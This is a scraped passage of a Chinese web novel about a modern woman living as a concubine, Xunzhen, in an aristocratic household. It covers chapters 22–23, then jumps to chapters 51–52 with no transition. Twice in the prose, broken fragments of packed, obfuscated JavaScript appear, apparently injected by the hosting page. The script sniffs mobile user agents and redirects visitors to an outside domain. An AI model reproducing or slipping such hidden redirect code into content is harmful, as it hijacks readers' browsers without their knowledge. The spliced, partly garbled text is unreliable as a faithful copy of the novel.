到了近前,寻真看向谢漼:“这是怎么了?” 谢漼淡淡扫她一眼:“无事,你进去。” 谢漼眼神微微一侧,两仆人接收到指令,迈开步子。 寻真伸手阻拦,喊道:“哎,等一下——” 小蝶瘦小的身形在两个家丁的挟持下显得如此无助,稚嫩的脸庞上满是惊恐,泪水糊满了整张脸。 还是小学生的年纪呢。 寻真下意识伸出手去,紧紧抓住谢漼的手臂,忍不住替小蝶恳求起来:“饶她一命吧,爷。” 夜色如水,柔和的晚风轻轻拂过,撩起寻真颊边的几缕发丝,粉色的衣衫也随之轻轻飘动。 清润的眸子,似一汪泉,直直地望向谢漼。 谢漼凝视她几息,随后视线落下,停留在她手上。 纤细的指握住他,那力度,很紧。 指节因用力而微微泛白。 寻真松了手:“她还小呢,若是犯错,这年纪也是正常的,就给她个机会吧……” 两仆人没动,等谢漼的吩咐。 谢漼没回她的话,只看了她一眼,令下:“下去吧。” 小蝶还是被架走了。 寻真脑海里留下了小蝶含泪的眸,一时心头无比沉重。 谢漼挥了挥手,遣散众仆人,而后一步上前,握住寻真的手腕。 寻真只觉腕间一紧,身子被他拉近,脚步有些踉跄地随着他往屋里走去。 直至床畔。 这一路上,寻真都很顺从,没有一丝抗拒,只是身子很僵。 谢漼看着寻真的发顶,沉默片刻后,道:“只是将她遣送回她该去的地方。” 嗯? 寻真抬起头。 谢漼看着她眼睛道:“你若是不信,明日去给夫人请安,瞧上一眼,便知我有没有骗你。” 小蝶,是谢漼大老婆的人? 谢漼大老婆放在这里的眼线? 寻真:“我信。” 谢漼点头:“更衣吧。” 寻真哦了声,给谢漼解衣。当她的手触碰到革带时,他突然抬起手来。 动作轻柔而缓慢。 扶住了她的右脸,四指穿过鬓发,拇指在她眼睑下方轻轻擦了擦。 微微的触碰,带着丝丝痒意。 22. 第 22 章 寻真眼睫一颤,没躲,好在谢漼只摸了摸,并没有其他行为。 寻真暗暗松了一口气,默不作声地继续为他脱掉衣服。 将外袍叠好,放在一边的几案之上。 谢漼转身,朝浴房走去。 这一晚,寻真睡得胆战心惊的。 虽然谢漼看着性冷淡,但实际上他不是啊,这么年轻就跟原身生了个娃。说明那方面没问题。 而且谢漼这年纪正是那啥需求比较旺盛的时候…… 寻真在混乱的思绪中入睡。 第二日一醒来,就得知个好消息。 她要搬回去啦! 寻真克制着自己的表情,嘴角还是抑制不住上扬起来。 月兰苦着脸,替主子难过。 引儿也长长叹了口气。 寻真想到昨天,有了猜测。 所以是小蝶把她这里的事告诉了谢漼大老婆。 然后谢漼大老婆暗中操作了什么……有可能是找谢漼说了,大概是她住在这里不妥之类的话? 想到这里便问两丫鬟:“我是不是不能住在这里?” 月兰和引儿给她科普。 妾室一旦有了正式的名分,按照祖制和礼教,确实是不能与夫主住在同一个院子里。这是为了维护家族的秩序和体面,避免因妻妾不分而引起混乱和纷争。 寻真:“没名分就可以?” 月兰:“姨娘说的是通房吗?咱们爷素来洁身自好,未曾有过通房。” 两人继续科普。 通房丫头虽本质上仍属丫鬟,然而因其特殊职责,需贴身伺候主子,夜间在主子房内暖床,也因此被特许在院子里伺候着。 若能得宠,或是有幸生下孩子,便能抬为姨娘。但若一直未能晋升位份,到了一定年纪,通常会被府里放出。 在那些门风清正、体面讲究的人家,念在她们伺候主子的情分上,还会为她们妥善安排下半生的归宿。或是寻觅一个家世清白、人品端正的庄户人家,或是安排到府里的庄子上,让她们衣食无忧地度过余生,也算是全了伺候一场的主仆情谊,不至于让她们后半辈子流离失所,孤苦无依。 这古代的规矩礼法果然严苛繁琐,每一个身份地位的背后都有着一套既定的规则和命运轨迹。 寻真的思维扩散:“通房丫头可以放出去,那小妾呢,能不能被放出去?” “当然不会。”月兰以为寻真是在担忧自身的处境,神色笃定道,“姨娘已是贵妾,身份尊贵,早已记入了谢氏族谱中,更何况还为爷诞下了小公子,这在府中可是大功一件。有爷的庇护和小公子的依傍,姨娘的下半辈子必定是衣食无忧、安稳顺遂的!断不会有被放出去这般事情发生!姨娘大可宽心,莫要为此等无端之事烦忧。” 寻真:“那,假如……要是小妾自己想出去呢?” 月兰狐狐疑地看了寻真一眼,眼中满是困惑与不解。她不明白,姨娘为何会突然有这般奇怪的问题。 寻真:“我就是问问,好奇。” 月兰:“那便得要拿到放妾书才行。这放妾书须得在官府那儿依照章程走上一遭,经过官府的认证,这女子方能恢复自由身,算是良人了。只是,这被放了的妾室,即便恢复了自由,在世人眼中,终究是有了瑕疵的。再想要寻得下一门好亲事,那可就难如登天了。这往后的日子,怕也是要在他人的指指点点中艰难度过了。” 寻真:“那要是没拿到放妾书呢?” 引儿:“若是没拿到放妾书,这女子便会被视作逃妾。一旦主人家报了案,官府便会依照律条下令追捕。” 引儿顿了顿,像是想起了什么,神色有些凝重地讲起了她曾听闻的一个故事,“奴婢曾听闻,有一位妾室,因不甘于在这深宅中消磨余生,便与人私奔而去。那主人家得知后,自然是怒不可遏,即刻报了官。官府很快便展开追捕,将那小妾抓了回来,按照逃妾的律条处置,将其关进了大牢之中。那女子本就娇弱,在狱中没熬过几日,便香消玉殒了。而与她私奔之人,竟抛下她独自逃了!” 引儿的声音微微颤抖,眼中流露出不忍与惋惜。 孤弱女子关在大牢中,能有什么遭遇,不用想就知道了。 寻真听着,一股寒意从脚底直窜而上。 寻真跟月兰和引儿一起打包东西,东西被送了回去。寻真还留在这里,晚上跟谢漼一起吃完饭再走。 用完饭,谢漼没有让她再去书房。 “今后,你每三日来我这里一回。”谢漼道,“既已开始学习经义,便不可荒废。经义之学,博大精深,唯有多读、多思、多悟,方能有所进益,于你往后的日子,也是大有裨益的。” 学久了,想来这跳脱的性子也能沉稳些。 寻真点头:“嗯。” 谢漼不才十八岁? 他这语气倒像比她老十岁。 老气横秋的,说话没半点同龄人该有的朝气。 “那爷,我回了?” “回罢。” 寻真刚踏出谢漼院子,大大喘了一口气。 以后只要三天来一次,耶! 回到自己的院子,寻真顿时感觉周遭的物件格外亲切。 跟小丫鬟们打了个招呼,寻真和月兰、引儿一道整理从谢漼处取回的物什。书籍、衣物、首饰……一一归置妥当。 忙碌许久,倦意袭来,寻真抬手掩口,连打了几个哈欠。 月兰在屋内踱步徘徊,手指这儿摸摸,那儿摸摸,脸色愈发沉。 寻真心下纳罕,正要开口问询,却见月兰将一众小丫鬟唤至跟前。 柳眉倒竖,斥责起来。 “姨娘不过离开几日,你们竟这般懈怠!屋内尘埃厚积,姨娘怎能歇息得好?莫不是瞧着姨娘脾性和善,便不将她放在眼中?进了这院子,岂是让你们来养尊处优的!” 月兰目光冷冷,扫过众丫鬟,“若是谁不愿在此伺候,尽早告知于我,莫要在此处碍眼!”她心中早就憋了一股火,这些丫鬟正值年少贪玩儿之时,姨娘又向来宽和,她们便愈发没了规矩,行事敷衍,全没了起初的勤勉恭谨。 小丫鬟们吓得失色,头垂得极低,口中喏喏称罪,声声不敢。 “还愣着作甚?速速将屋子拾掇干净!”月兰轻喝。 “是,姐姐莫要生气,我们这就去。”其中年纪稍大的丫鬟应了一声. 小丫鬟们手脚麻利地开始打扫起来。 寻真瞧着这一幕,莫名熟悉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14776144|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这不就在立威? 寻真打量四周,其实也没脏到哪里去。 入乡随俗,多少还是要顺应这里的行事规则。而且,要是现在反驳月兰,怕是会让她在这些丫鬟面前失了颜面。 寻真想了想,没阻止。 寻真瞧着她们忙忙碌碌地打扫了一阵,估摸着时间也差不多了,便开口道:“我累了。你们都去休息吧,剩下的明天再收拾。” “是。”小丫鬟们恭敬地弯下腰,齐声应道。 寻真心里叹了口气。 这一晚睡的格外香。 第二日,在库房收拾东西时,瞥见角落里搁置着一把琵琶。琵琶蒙着一层薄尘,在日光下透着几分古朴的韵味。 寻真轻轻拿起,抱在怀中,手指不自觉地抚上琴弦,一连串的乐音倾泻而出。 寻真不由一怔,摊开手。 这是有肌肉记忆了。 原身竟然是会弹琵琶的。 引儿这时道:“姨娘以前琵琶弹得极好呢!” 所以原身是乐伎? 寻真仔细端详手指:“好像没茧?” “姨娘许久未曾练了,日子一长,茧子自然便褪去了。”引儿道,“上面有很多灰呢,给奴婢吧,奴婢这便擦干净。” “算了,不用擦。”寻真把琵琶放回去,“我就看看。” 寻真在音乐方面一窍不通。小时候她妈倒是给她报过钢琴班,半年就放弃了。 老师也算尽责,便委婉向她妈劝退,说她没那个天赋,还是趁早放弃,别浪费钱。 后来,也陆续报过别的才艺班,跳舞唱歌画画都不行。 反正艺术那条道上,她是一样也不行。 算了,还是想着怎么锻炼一下身体吧。 后院有颗大树,伸出最粗壮的一根枝条,有成年男子两条大腿那么粗,寻真仰头望着,估摸了下高度,做引体向上正好。 寻真找来两块厚实且坚韧的布条,系在那根粗枝条上,调试好高度后,深吸一口气,双手紧握住布条,尝试着做了一个引体向上。 刹那间,只觉双臂酸乏无力,不住地颤抖,好似难以承受这身体的重量。 松开手,手心被布条勒出了两道淡淡的红印。 寻真把布条取下来。 还需要改良一下,不然手要废了。 寻真在院子里晃了一圈,出了院子,走到偏门边上,看着围墙。 目测三米多。 左右望望,瞧见不远处有些大石头。倒是可以搬来这些石头助力。 然后,直接跳下去? 不行不行,就这脆皮小身板,跳下去腿得折了。 寻真往回走时,回想看过的电视剧, 在绳索顶端系上一个爪钩,尖锐的钩子可以刺入墙壁表面的缝隙,帮助翻墙。 寻真回到屋里,用炭笔画出大概轮廓,慢慢细化。 攀爬抓钩在纸上呈现。 寻真捏着图纸一角。找人做,还是自己做? 寻真把图纸塞进妆台下面的小抽屉里。 月兰立在次间,盯着小丫鬟打扫。寻真唤了一声,招招手。 月兰快步过来:“姨娘?” 寻真:“我可以出府吗?” 23. 第 23 章 月兰愣了下:“姨娘要出门做什么?” 寻真:“出门逛逛。” “姨娘,这府门可不是轻易能出的。若您真想出去透透气,非得夫人恩准点头才行。唯有夫人应允了,您才可随着夫人的轿子一道出去。”月兰道,“断没有自个说出去就出去的理儿。这是老祖宗传下来的规矩。” 啊…… 好吧。 看来还是得翻墙。 先把臂力练起来吧。 三日后,寻真要去谢漼院子报到。 寻真让月兰和引儿帮忙把胸垫加厚,直接缝在里衣中。 避免再出现先前那种尴尬的情形。 不过,寻真还是烦。 夜里得侧卧,不能压到,不然早上醒来,衣服床褥全被浸湿,黏得难受。 上次那女大夫明明说过,不哺乳的话,乳汁分泌会逐渐减少。 到底什么时候开始减少! 真的很影响日常生活! 书房中,谢漼问她这三天自学得怎么样。 寻真:“会背了。” 谢漼注视了一会她。 寻真抱着书,挺直腰板,准备当场给他表演背诵《论语》全文。 死记硬背,她是专业的! 谢漼没按照她的剧本来,只看着她道:“真儿在强记这方面,倒是颇具几分能耐。对于初学者而言,倘若尚未能洞悉其中真谛,单是能将之记诵下来,却也算得上难能可贵了。” 寻真点头,阅读理解她真的不行。 谢漼忽地抬手,朝她胸前伸来。 寻真一惊,下意识地往后退了半步,眼中流露出一丝警惕。 低头看看,原来谢漼是要拿她怀里的书。 寻真连忙把《论语》恭敬呈上。 谢漼神色莫辨,注视她许久,才从她手上拿了书。 撩袍坐下,翻看起来:“当真是都记下了?” 寻真自信满满:“当然。” 谢漼随手一翻:“八佾第三。” 寻真开始背,不慌不忙。 她的声音清脆悦耳,仿若潺潺流水,连绵不绝,没有半点卡顿。 “孔子谓季氏:‘八佾舞于庭,是可忍也,孰不可忍也?’” “三家者以《雍》彻,子曰:‘相维辟公,天子穆穆,奚取于三家之堂?’” …… 一字一句,皆清晰流畅,回荡在屋内。 待寻真背完,谢漼神色未动,只是手中书页轻轻翻动,须臾,目光凝视着一处,开口提问道:“父在,观其志。父没,观其行;三年无改于父之道,可谓孝矣。” “前一问为何?” 寻真卡了下壳。 这套路,自古都有的吗? 怎么跟语文卷诗词填空一个样,按顺序背不好吗? 非要倒着! 好歹寻真是有经验的。 这句在第一篇,在心底快速默背一遍。 终于想到了。 “子贡曰:‘夫子温、良、恭、俭、让以得之。夫子之求之也,其诸异乎人之求之与?’” 背完这句,寻真手心都微微出汗了。 谢漼身姿挺拔,正襟危坐于书案前。 一袭深色长袍,衣袂垂落,纹丝不动,更衬出他周身沉稳的气质。 手中擒一着本书,这架势,乍一看,倒真有几分严师的模样。 对,他本来就是国子监老师。 是懂怎么折磨学生的。 谢漼:“‘君子务本,本立而道生。孝弟也者,其为仁之本与。’此中‘务本’之‘本’所指者何?‘道’又为何道?” “且论‘仁之本’于为学、为人处世中有何要义?” 寻真一愣,尝试着回答:“本是做人之本,道是道理的道……?” 寻真的语气就没刚才背的时候那么自信了,瞄了谢漼一眼,继续头脑风暴。 “仁之本,在学习的时候,呃……要心怀、心怀……仁义。” “在为人处世中,也要心怀仁义……?” 谢漼看了她片刻,道:“看来真儿如今只是会些死记硬背的功夫,尚未懂得这其中深意。诵读典籍之时,定要多加思考,细细体悟其中蕴含的精深道理,切不可仅仅停留在口头的背诵上,而不去探究内里的精髓要义。否则这般死记硬背,即便能将经文倒背如流,终究也是徒劳无益的,于学问……” 谢漼一顿,暗自摇了摇头,她一女子,即便在学问上有所进益,又有何用处? 起初,他也不过是存了个念头,想着让她多读些书,知晓些礼仪规矩。如此,往后行事或许便能少些肆意妄为,也能被这书中的道理熏陶出几分温婉的书香气质。 寻真:“嗯。” 谢漼神将《论语》置于案上,转身,已移步至一旁的雕花书架前。手指在书册间划过,抽出一本。 他走回,将书放她面前。 是《大学》。 谢漼问道:“此书,你多久能背下来?” 不是吧…… 寻真现在很想扇半小时前的自己一个巴掌,为什么要多嘴说全部会背了。 应该装笨的。 寻真眉毛耷着,满脸的不情愿,从他手上接过书,试探性问:“一个月?” 谢漼看着她,道:“那便半个月,在此期间,《论语》的研习亦不可荒废,需知其中真意,切不可只停留在表面。” “可明白?” 寻真低下头,磨了磨牙:“明白。” 算了,不跟他一般见识。 多学点总是好的。 谢漼讲起《论语》,时而引经据典,时而结合古今之变,讲解颇为深入,讲至关键处,便让寻真拿笔将要点记下。 她毛笔字本就写得不快,跟不上谢漼的语速,只能匆忙拣着关键词记。 笔下的字迹歪歪扭扭,全然没了章法。 思维扩散。 圆珠笔的原理是什么? 写着写着,手腕开始酸胀起来。 她低头瞧了瞧纸上的字迹。 一堆字相互糊在一起,墨色浓淡不一,又是从右往左写,更是混乱得让人分不清哪个是哪个。 她现在还控制不好笔力,写不了小字。 弱弱地举起了手。 谢漼停下来:“何事?” 寻真摸了下腰间,那里塞着一只炭笔。 改良版2.0。 这次炭笔选材,最终选定了椴木和乌木。 这两种木材自身材质的密度高,经烧制后所得的炭也质地坚硬,写的时候不易断裂。 为了确保炭笔制作顺利,寻真还特意绘制了一张精细的图纸详加解析。 笔芯需裁成规整的圆柱状,外头再用木材妥善包裹。 虽然比不了现代的小巧精致,但也像模像样了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14779386|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 寻真拿到成果时,心中也感慨万千。 虽然时代落后了点,古代人脑子还是聪明的,可不能小瞧了。 在谢漼的注视下,寻真半撩开衣襟,从里头掏出那只炭笔来,放在手心中。 “我现在还不能用毛笔写小字,有点跟不上,所以想用炭笔代替。” 谢漼的视线先是在她腰上的衣襟处停留了一瞬,随即挪至她手中的炭笔上。 瑞宝是谢漼的人,在安排人制作炭笔时,自然是向谢漼通禀过的。 谢漼从她手中拿过,细细打量。 拇指与食指捏着笔芯,微微用力,指腹上便留下两道浅浅的炭迹。 少顷,谢漼抬眸,神色间带着几分探究,开口问道:“此炭笔是用何种木材所制?” 寻真答道:“椴木。” 其实乌木做出来的质量更好,不过乌木太贵了,跟花梨木价格差不多。 在这里,一般都用于打造高档家具、文房四宝以及其他可供观赏的艺术品。 炭笔是个消耗品,当然选择性价比更高的椴木。 寻真瞥见谢漼目光中似有好奇一闪而过,见他拿着炭笔来回翻转,似乎想试试的样子。 寻真主动解释道:“厨房的炭易碎,写的时候得时刻留意着笔力轻重。而椴木本身质地细腻均匀,经烧制后所得的炭也就比一般的硬,用来做成炭笔,正合适。” 谢漼捏着那只笔,看向寻真,却突然转了话题:“如今记忆恢复了多少?” 寻真摇头:“还没想起来。” 谢漼:“既然记忆全无,可你为何有这般多奇异思想?” 他的语气听来平淡无波,眼神中却分明隐隐透着一丝探究。 这炭做笔的想法,放在这古代,虽算不上什么惊天动地的伟大发明,但其背后所反映出的思维差异,却是不容忽视的。 寻常人,若是惯于使用毛笔,思维便极易局限。 脑子被既定的认知填满,对于自己从未见识过的事物,根本无从想象。 若毛笔字写得不好,往往只认定一条路,便是埋头苦练毛笔字,直至写好为止。 寻真的特别之处便在于此。 既然知晓自己一时半会儿难以将毛笔字练得炉火纯青,便另辟蹊径,找一种更为便捷的书写方式。 人不应被现有的工具所奴役驱使,而应充分发挥自身的主观能动性,去创造出更适合自己的工具,使其为己所用。 这种超越时代局限的思维方式,在这世上着实是极少有人具备的。 而恰恰,谢漼正是那少数中具备这种思维的人,也能看懂这看似寻常的举动背后所隐藏的深层逻辑。 寻真穿越以来,一直都在努力学习古代土著的说话方式,努力让自己的言行举止往原身的性格靠拢。 据月兰说,原身不喜走动,整日就只在屋子里写写画画,连院子都不怎么去。 寻真与她实在是截然不同的两个人。 寻真本就正值青春年少,不过十八,性子活泼好动,一到放假就要约上好友去逛街游玩,肆意撒野,哪能闲得住片刻。 因而时间一久,难免露出些马脚,时不时便会显露出原本的性情来。 这次穿越,说倒霉也真是倒霉。倒霉中却又透着那么一点点运气。 毕竟开场那死局已经度过,现在只要将谢漼应付好就行。 这个问题要好好答。 50-60 第51章 第51章“一团” 小男孩依着墙站,小小的一团,眼神冰凉。 寻真转过身,跟谢璋的目光对上了。 两丫鬟的声音从谢璋身后的方向传来。 这两个丫鬟是二夫人院里新拨来照料谢璋的丫鬟,这俩人本是带着谢璋在花园中玩耍,稍一疏忽,谢璋便没了踪影。 二人方才折返寻找,却一无所获。 这里可是关着个疯女人呐!若是恒哥儿真不小心跑到这处,被吓到,她们可担待不起。 虽然心中怕极了,这两个丫鬟还是回来了。 “恒哥儿!恒哥儿!” “恒哥儿,你在哪儿呢!快应奴婢一声!” 寻真被谢璋盯得,心里毛毛的。 谢璋跟谢漼不愧是父子俩。 这眼神,简直一模一样。 寻真刚想着,这小孩只能让谢进帮忙送回去,她应该不好出面。 正要跟谢进说,便听到丫鬟的声音。 寻真拍了拍谢进的肩膀,指了指相反的方向:“阿进,我们从后面溜。” 说完寻真便跑了。 谢进哦了一声 ,看了眼谢璋,也跑了。 碧玉长舒一口气,拍拍胸口,小跑上前,蹲下身子,和声问道:“恒哥儿,你怎的在此处站着?在看什么呢?”说着,回头顺着谢璋的目光瞧去。 翠芽:“是啊,恒哥儿……这地方可来不得。” 她将谢璋轻轻抱起,“恒哥儿,咱们回吧。” 这两丫鬟可不像惠宁院的,将谢璋看作痴傻孩童。 她们都知道,恒哥儿是极聪慧的。因而平日私下也十分尊重他的意愿,从不会将他当作普通孩童对待。 谢璋:“把我放下。” 翠芽一听这话,立马照做。 “恒哥儿是想自己走吗?” 谢璋嗯了一声,小脑袋上下一伏。 虽然恒哥儿表面上总是冷冷清清,实则乖巧得很。 除了爱四处跑动,在其他方面,从不会给丫鬟们添乱。 就拿喂食来说,别的孩童往往得哄上好一阵,才肯吃上一口,可恒哥儿不同,只要告知他该用膳了,他便会乖乖端正坐好,还不喜欢别人喂,自己手持饭匙,用得极为熟练,饭菜也不会洒落,吃相文雅。 丫鬟们都打心底里喜爱恒哥儿。 恒哥儿长得好看,还这么乖。 时间飞逝,又是大半年过去。 谢漼离开整整两年了。 这大半年,寻真偶尔会去找容楣,闲暇时,还会帮着开垦容楣院子里的地,种上些蔬菜,也好让容楣有个事儿做,排解寂寞。 十一月初,寻真收到了谢漼的信。 信中写: 【计明年仲春,吾便可归。 别来二载,久未睹卿容,不知卿如今是何模样? 展卿来书,见卿学识精进,书法亦大有长进,吾心甚慰。 若行程顺遂,便能于卿生辰之际赶回,与卿共度良辰。 吾在陇州,幸得一珍宝,归时赠卿,以贺卿二十芳辰。】 生辰。 提到这个,寻真不禁感叹,真是巧了。 寻真都忍不住怀疑。 难不成这时代的这具身体,是她的前世? 因为她的农历生日,正好是二月十八。 跟原身一样。 这一年除夕,谢进来给寻真送糖葫芦。 谢进站在小窗前。 他个头又蹿高了不少。正值发育期,身形如雨后春笋般节节拔高,已经脱了男孩的稚气,有了几分少年的英气。 如今个头已经跟寻真差不多了。 寻真在里面啃糖葫芦。 谢进有些犹豫地唤了她一声:“……姐姐。” 寻真:“怎么了?” 谢进:“下个月,我的生辰宴。姐姐要不要来?” 谢进的生辰,在一月末。 毕竟是老夫人的心肝宝贝,谢进每年的生辰宴都大办特办,敲锣打鼓,要热闹整整一天。寻真想不知道也难。 但寻真从不在受邀名单里。 寻真:“我怎么去?” 谢进:“姐姐若想来,我自有办法!若姐姐不愿,便算了……姐姐你想来么?” 谢进仰着头看她,那双眼睛水润润,小狗似的。 寻真:“可以呀。” 其实,刚到这儿的时候,寻真像鸵鸟一样,只想窝在这小院子里,与世隔绝。谁都别管她才好。 现在被关了两年,寻真已经彻底理解了容楣的行为艺术。 真的会憋疯的! 能看看热闹,也好。 “但是你有什么办法?” 谢进开心地蹦了一下:“姐姐只管等着,我自有妙计!” 谢进转身要走,迈开腿,又缩了回来,犹犹豫豫地看了寻真一眼。 寻真:“又怎了?” 谢进:“姐姐……” “会给我备生辰礼么?” 寻真一愣,点点头,笑道:“你想要什么?” 谢进:“哪有直接问人想要什么的,那样惊喜都没了……自然是,得姐姐自个想。” 他又补充,“姐姐送我什么,我都会喜欢的。” 寻真:“好。” 谢进:“哦,还有,姐姐的生辰是何时?到时,我也要给姐姐送礼。” 寻真想起谢漼的信。 谢漼说那个时候他快回了。 寻真:“阿进,明年三月,你……五兄便要回了。到时,你再来我这儿,可能就不方便了……” 谢进一怔,“五兄回来,我便不能来找姐姐了么?” 其实谢进明白缘由,但心底还是涩涩的,有点难受。 寻真:“他时常会来我这儿。” 谢进低下头,盯着地面看了好一会儿,才抬起:“五兄白日要当值,那我以后白日来找姐姐,成不成?” 谢进眼睛亮亮的,寻真实在不忍心拒绝。 是她来这儿交的第一个朋友啊。 “那好,那等他回来,我找机会问他修沐的日子,到时候,我们便换成白日见。” 谢进:“嗯!” 寻真吃着糖葫芦,看着谢进离去的背影。他第一次来,不小心踩坏了她的菜,以后每次都会小心翼翼地绕着走。 是很好的孩子啊。 谢进走到墙边,又跑回来,“对了,姐姐还没告诉我,你生辰究竟是何时呢?” 寻真:“二月十八。” 谢进念了一遍:“我记住了!” 几日后,寻真果然收到了谢进生辰宴的邀请函。 邀请函用的是上等的宣纸,边缘处绘着卷云纹,以朱红色丝线装订。 函面上,用小楷写着宴会的时间、地点:“于一月二十九日,巳时,在府中正厅设宴,恭请大驾”。 落款处盖着谢府的朱红印章。 引儿打听消息很有一手。 她从别院的丫鬟那儿听说,以往谢进的生辰宴虽办得盛大,但各房妾室基本不在邀请之列。这次是谢进在老夫人跟前撒娇,说想多收些生辰礼物,多听些祝福,老夫人便把府中算个主子的都请上了。当然,容楣除外。 邀请函上的日期,是一月二十九。 时不时就听这谢府敲锣打鼓的,这次终于能参加宴会了。 寻真还有些小期待。 至于礼物。 谢进这样的贵族公子哥,什么样的奇珍异宝没见过?送些寻常珍宝固然不会出错,却没什么新意。谢进说送什么他都喜欢,可寻真还是想送个特别的。 谢进才十三岁,在古人眼里,算是半个大人了。 寻真眼里,就是个刚上初中的小朋友。 得送个适合小朋友的礼物才行。 寻真躺在床上,琢磨了一会儿,很快有了想法。 生辰宴当日。 宴会场地设在府邸正厅,十分气派。厅内四周悬挂着绸缎,角落摆放牡丹,花团锦簇,花香弥漫在空气中。 寻真的席位被安排在最边上,她观察了一下,这一桌坐的似乎都是妾室。 刚一入场,便有丫鬟上前收礼。 月兰将小匣子递过去,丫鬟便送过来一个锦袋,作为回礼。 寻真落座,静等开席。 四处望望,其实跟现代差不多,只不过古代的礼节更为繁杂。 四周站着不少丫鬟,时刻待命,以便随时为主子们添茶倒水、调整餐具、清理桌面。 隔壁的小姑娘,寻真瞅着也就十五六岁的样子,眼神中透着几分怯意,似乎是极少参加这种宴会,举手投足间都小心翼翼,只夹取面前的菜肴,也很少使唤丫鬟服侍。 寻真就自在多了,又不是没吃过席! 这一桌姑娘们都不讲话,寻真有些无聊,侧过头,与隔壁小姑娘搭话。 “……嗨?” 小姑娘闻言,先是一愣,似乎没想到会有人主动与她交谈。她转过头,将筷子放下了。 古人讲究食不言寝不语,吃饭时如果要说话,就要把筷子放下。 寻真也放下筷子。 跟小姑娘小声交谈起来。 寻真问:“你是哪个院里的?” 她思索片刻,像是初来乍到,还不太熟悉,想了好一会儿才答道:“我是……四爷院子里的。” 四爷? 寻真愣了愣,那不就是…… 小姑娘很有社交礼仪,不叫话落下。 反问道:“你呢?” 寻真就有些尴尬了。 看着眼前的未成年少女,三观已经碎裂了一地。 “我是五公子院子里的。” 因谢漼在府中实在特殊,若是别的排行,怕是一时半会想不到是哪位公子,但提到“五”,便都知道了。 小姑娘虽来府不久,但谢漼的事迹在京都谁人不知,她一听,哦了一声。 “原来你就是……” 她眼神惊讶。 像是看到传闻中的人,不太符合自己想象的样子。 第52章 第52章“专宠” 谢漼他 爹,挺没存在感的。迄今为止,寻真都没见过。 听月兰说,谢漼他爹整日都不在府上。 寻真心想,应该是那种整日花天酒地、四处游玩的纨绔? 除了生出个谢漼这么有出息的儿子,就没别的作用了。 寻真看着未成年少女,愈发觉得自己的猜得八九不离十。 她向前凑近,轻声问道:“这一桌,不会都是你们院子里的人吧?” 看着都很年轻,不超过二十五岁。 小姑娘摇了摇头。 “今日只我一人出来,姐姐妹妹们都还留在院子里呢。” 寻真:姐姐妹妹们…… 寻真:“你有几个姐姐妹妹?” 小姑娘掰着指头数了一会儿:“我也才来呢,不太清楚。” 目光中带着几分好奇,望向寻真,“我有一事,心中实在好奇,不知能否相问?” 寻真直觉不是什么好事,但既然话都说到这份上了。 “问吧。” “我听闻,五公子只纳了你一人,后院连个丫头都没有,是真的吗?” 这里的丫头,便指的是通房丫鬟了。 寻真沉默了会儿,点了点头。 小姑娘羡慕的目光投了过来。 寻真:没法聊了…… 午后设有节目表演,舞台搭建在谢府主花园中央的楼阁上,观看区域在草坪。 正中央最好的位置,自然是留给老夫人与寿星谢进的,瞧那座椅,看着就极为舒适,一旁的案上还摆满了点心。 寻真的位置在右侧最边上,桌上仅有一盘瓜子、一盘花生,还有一壶茶水。 好在寻真早有准备,叫月兰和引儿带了不少小零食。 寻真朝谢进那边望去时,目光掠过谢璋,微微一顿。 二夫人坐在老夫人身旁,怀中抱着谢璋。 谢璋背对着舞台,脑袋搁在二夫人的肩膀上,向后张望着,恰好与寻真目光撞上。 大眼睛注视着寻真,一眨不眨。 寻真拿着瓜子的手停了下来,与他目光交汇一瞬,便迅速移开。 台上纱帘缓缓掀开,乐手舞女鱼贯出场,古琴音悠悠传来。 寻真见谢进站起身来。 隐隐约约听见老夫人的声音,似乎在问他上哪儿去,谢进弯腰附耳说了几句,便飞快跑开了。 老夫人满脸笑,看着谢进跑远的背影,对一旁的大夫人说道:“再过两年,这孩子便该娶媳妇了,怎的还跟个猴儿似的坐不住。” 大夫人笑道:“这小子,说他也无用。等娶了媳妇,有了孩子,想来就该稳重些了!” 老夫人笑得眼睛眯成了缝。 先前在席上坐在寻真旁边的小姑娘名叫念芙,二人互通了姓名。现在也坐寻真旁边。 歌舞表演结束,接下来便是百戏杂耍、戏班子登台献艺。 寻真分给念芙几颗糖,目光便投向舞台。 念芙拿着她给的糖,正要打开包装,手指触碰到糖纸纹路,愣住了,喃喃:“这是砑花笺么……” 寻真闻言转头,捏着瓜子,点头:“嗯。” 念芙:“你竟拿它来包糖……” 寻真:“这纸很贵?” “我家老爷……”念芙突然停住。 念芙的旧主是个商人,专营那些文人雅士所用的纸张文具之类的物件。 半月前,在一场晚宴上,被谢佑用一幅古画换了来。如今已是谢府的人,便不好再称旧主为老爷。 念芙直接说道:“我只是知晓,这砑花笺,小小一张,在市面上便要卖上五百文呢!” 念芙心想,看来府中传言果然不假,五公子当真是极为宠爱他这唯一的妾室。 念芙想起,从前在那商贾身边伺候时,有婢女不小心打翻茶水,弄湿一张砑花笺,便是要脱光了衣服打的。 她那前主手段太过狠辣,天天打骂不断,起初被画换到这谢府时,念芙心里还惶恐不安,来了才发现,这里的日子与从前相比,简直是一个天上一个地下。 在谢府,不会挨打,只需将四爷伺候好了,便能过上锦衣玉食的日子。 只是姐姐妹妹多了些,得想法子争宠。 念芙已十分感恩,觉得自己像是白白捡到了这神仙般的日子。 可她实在没想到,竟有人做妾能做到这般地步。 柳氏是如何做到的? 